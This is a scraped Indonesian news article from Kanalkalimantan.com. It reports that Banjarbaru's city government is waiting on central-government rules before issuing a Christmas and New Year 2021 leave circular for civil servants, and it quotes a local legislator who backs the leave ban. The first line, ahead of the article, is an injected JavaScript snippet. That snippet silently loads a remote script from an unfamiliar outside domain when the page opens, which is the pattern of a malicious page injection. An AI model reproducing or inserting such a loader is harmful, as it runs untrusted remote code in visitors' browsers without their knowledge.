(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pemko Banjarbaru Belum Keluarkan Edaran Libur Nataru bagi ASN


KANALKALIMANTAN.COM, BANJARBARU – Peraturan tentang cuti Aparatur Sipil Negara (ASN) selama Natal dan tahun baru (Nataru) di Banjarbaru sampai saat ini belum diputuskan oleh Pemko Banjarbru. Hal ini karena masih menunggu adanya surat edaran dari pemerintah pusat dalam hal ini Menteri PANRB.

Terdapat sejumlah aturan mengenai pembatasan kegiatan masyarakat, salah satu poinnya adalah mengenai peraturan tentang cuti ASN. Hal ini bertujuan untuk mengantisipasi adanya lonjakan kasus Covid-19 selama libur Nataru 2021.

Larangan cuti bagi ASN ini tertulis dalam Surat Edaran Menteri PANRB No. 26/2021 tentang Pembatasan Kegiatan Bepergian ke Luar Daerah dan/atau Cuti bagi Pegawai Aparatur Sipil Negara selama Periode Hari Raya Natal Tahun 2021 dan Tahun Baru 2022 dalam Masa Pandemi Covid-19.

Wali Kota Banjarbaru M Aditya Mufti Ariffin mengungkapkan belum mengambil langkah terkait libur Nataru, karena belum ada surat instruksi resmi dari Kementerian.

 

Baca juga : Ini Sepatu Rajut Buatan UMKM Banjarbaru yang Sudah Tembus Singapura!

“Kami menunggu surat instruksi resmi, dari pemerintah pusat. Jika sudah inmen atau inpresnya keluar maka akan dikeluarkan surat edaran berkaitan Nataru,” terangnya.

Sementara itu, Wakil Ketua I Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Taufik Rachman menanggapi hal itu dirinya sepakat dengan adanya larangan ASN melakukan cuti di Kota Banjarbaru.

“Menurut kami itu hal yang bagus, artinya kita menghindari perjalanan, itu bukti bahwa kita memperhatikan keselamatan kita semua,” ujarnya.

Diakui Taufik, anggota DPRD Kota Banjarbaru tidak akan ada yang pulang kampung hingga akhir Desember mendatang.

 

Baca juga : Tapung Tawar Bakal Mengaspal, 10 Bus Trans Banjar Bakula Siap Layani Koridor 1

“Karena hingga 30 Desember kita banyak pembahasan, bahkan kita akan ada paripurna di akhir bulan membahas dua Raperda,” ungkapnya.

Lebih lanjut kata Taufik jika ada SKPD yang ketahuan mengambil cuti, DPRD Kota Banjarbaru akan tetap mengawasinya.

“Kita lihat nanti, itu pemerintah kota yang akan menindaknya, kita sebagai pengawasan saja nanti,” tandasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

6 menit ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

55 menit ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

8 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

8 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

11 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

11 jam ago

This website uses cookies.